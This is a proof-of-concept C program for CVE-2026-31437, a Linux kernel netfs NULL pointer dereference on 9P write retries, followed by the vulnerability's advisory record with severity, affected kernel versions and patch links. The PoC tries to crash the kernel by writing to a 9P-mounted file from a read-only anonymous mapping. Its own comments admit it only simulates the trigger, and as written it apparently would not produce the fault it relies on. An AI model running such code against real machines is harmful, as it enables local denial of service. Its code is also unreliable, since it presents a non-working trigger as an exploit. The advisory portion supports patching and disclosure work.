CVE-2026-31437

/* * PoC for CVE-2026-31437: Linux Kernel netfs NULL Pointer Dereference * Trigger condition: Write retry on a filesystem (e.g., 9P) without prepare_write. */ #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> int main() { int fd; const char *file_path = "/mnt/9p_share/vuln_test"; // Target 9P mount point void *invalid_buf; fd = open(file_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return -1; } // Allocate memory and then unmap it or protect it to trigger EFAULT invalid_buf = mmap(NULL, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (invalid_buf == MAP_FAILED) { perror("mmap"); close(fd); return -1; } // Attempt to write from the buffer. Depending on kernel config and timing, // triggering get_user_pages failure might require specific invalid pointer passing. // This code simulates the write operation context. write(fd, invalid_buf, 4096); close(fd); return 0; }

{"cve": {"id": "CVE-2026-31437", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:36.980", "lastModified": "2026-05-19T22:09:14.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Fix NULL pointer dereference in netfs_unbuffered_write() on retry\n\nWhen a write subrequest is marked NETFS_SREQ_NEED_RETRY, the retry path\nin netfs_unbuffered_write() unconditionally calls stream->prepare_write()\nwithout checking if it is NULL.\n\nFilesystems such as 9P do not set the prepare_write operation, so\nstream->prepare_write remains NULL. When get_user_pages() fails with\n-EFAULT and the subrequest is flagged for retry, this results in a NULL\npointer dereference at fs/netfs/direct_write.c:189.\n\nFix this by mirroring the pattern already used in write_retry.c: if\nstream->prepare_write is NULL, skip renegotiation and directly reissue\nthe subrequest via netfs_reissue_write(), which handles iterator reset,\nIN_PROGRESS flag, stats update and reissue internally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.17", "versionEndExcluding": "6.18.21", "matchCriteriaId": "3EF23CE5-8E2E-47D1-9B2C-449AA5BB1870"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.7", "versionEndExcluding": "6.19.11", "matchCriteriaId": "0F154E5F-DF7A-4EB9-BAFA-13EC093D679A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/7a5482f5ce891decbf36f2e6fab1e9fc4a76a684", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a4d1b4ba9754bac3efebd06f583a44a7af52c0ab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e9075e420a1eb3b52c60f3b95893a55e77419ce8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}